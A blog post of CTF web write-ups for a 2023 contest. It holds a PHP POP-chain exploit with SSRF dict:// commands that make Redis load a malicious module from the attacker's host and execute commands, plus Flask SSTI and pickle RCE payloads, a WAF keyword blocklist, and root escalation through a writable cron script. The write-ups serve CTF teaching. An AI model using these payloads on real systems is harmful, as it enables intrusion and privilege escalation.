Z1d10tのBlog

A note for myself,have fun!

  1. 1. ezezez_php
  2. 2. picup
  3. 3. Active-Takeaway

2023年春秋杯网络安全联赛冬季赛web

ezezez_php

考点:

  • pop链
  • ssrf打redis的主从复制

首先可以查看hint.php 告诉我们redis服务器的ip不是db而是127.0.0.1

img

因此我们在我们自己的vps上起一个恶意reids服务然后用dict协议打即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Rd
{
public $ending;
public $cl;

public $poc;
}
class Poc
{
public $payload;
public $fun;
}
class Er
{
public $symbol;
public $Flag;
}
class Ha
{
public $start;
public $start1;
public $start2;
}
$a = new Ha();
$a->start2 = "o.0";
$a->start1 = new Rd();
$a->start = ["POC"=>"0.o"];
$a->start1->cl = new Er();
$b64 = base64_encode("http://127.0.0.1/hint.php");
/..
dict://127.0.0.1:6379/config:set:dir:/tmp
dict://127.0.0.1:6379/config:set:dbfilename:exp.so
dict://127.0.0.1:6379/slaveof:host.docker.internal:21000
dict://127.0.0.1:6379/module:load:/tmp/exp.so
dict://127.0.0.1:6379/slave:no:one
dict://127.0.0.1:6379/system.exec:env
dict://127.0.0.1:6379/module:unload:system
../
$a->start1->cl->Flag = $b64;
echo urlencode(serialize($a));

我们的恶意redis服务写入目标

img

env环境变量中就有flag

img

picup

考点:

  • python格式化字符串漏洞
  • flask模板渲染ssti

首先可以将文件上传之后下载,这里存在任意文件读取

需要双写绕过一下

img

读到源码分别:app.py Users.py waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
filepath=os.path.join("./uploads",filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and users.login(username,password):
session['username']=username
return "Login success! <a href='/'>Click here to redirect.</a>"
else:
return "Login fail!"
return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
else:
return "Register fail!"
return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))
else:
return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
res="<h1>files in ./uploads/</h1><br>"
for f in os.listdir("./uploads"):
res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
import hashlib

class Users:
passwords={}

def register(self,username,password):
if username in self.passwords:
return False
if len(self.passwords)>=3:
for u in list(self.passwords.keys()):
if u!="admin":
del self.passwords[u]
self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
return True

def login(self,username,password):
if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
return True
return False
import os
from werkzeug.utils import secure_filename

def waf(file):
if len(os.listdir("./uploads"))>=4:
os.system("rm -rf /app/uploads/*")

content=file.read().lower()
if len(content)>=70:
return False

for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content:
return False

file.seek(0)
return secure_filename(file.filename)

大致思路就是身份伪造admin 之后上传pickle反序列化文件RCE (bushi

这里上传文件需要经过一个waf ban了一些命令执行的关键字

首先来看如果获取admin session部分

register.php路由部分存在格式化字符串漏洞

img

注册一个用户名为{users.password}的用户 就能泄露得到users变量所定义的实现注册登录接口Users类中的passwords密码字典

img

再根据源码可知 secret_key就等于admin密码

img

拿到key之后 接下来进行session伪造

img

接下来是怎么打pickle反序列化

waf ban了[b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]这么多关键词

并且构造opcode的关键字符换行符\n也被过滤了 那么这条路是走不通了

根据源码本道题最关键的一点就是设置了flask app模板渲染路径为./也就是/app路径

1
app.template_folder="./"

因此还存在render_template函数

我们文件上传路径为./uploads/ 因此我们上传的文件都可以被作为flask的模板文件渲染

所以我们可以先上传一个恶意的ssti的poc模板文件

1
{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}

然后通过pickle反序列化调用render_template函数渲染他 就能实现RCE了

1
2
3
4
5
6
7
8
9
10
import pickle
from flask import render_template

class EXP():
def __reduce__(self):
return(render_template,("uploads/poc",))

exp=EXP()
f=open("exp","wb")
pickle.dump(exp,f)

img

直接反弹shell比较好 因为题目每隔一段时间会删除我们上传的文件

我们最后还要借助这一点去提权

可以看到clear.sh文件是root权限运行的 并且我们有w权限

img

那么我们直接将clear.sh文件内容改为echo "cat /flag > /1.txt" > clear.sh

稍等一段时间就会看到创建了有flag的1.txt

img

Active-Takeaway

知识点参考:https://www.yulegeyu.com/

本文最后更新于 天前,文中所描述的信息可能已发生改变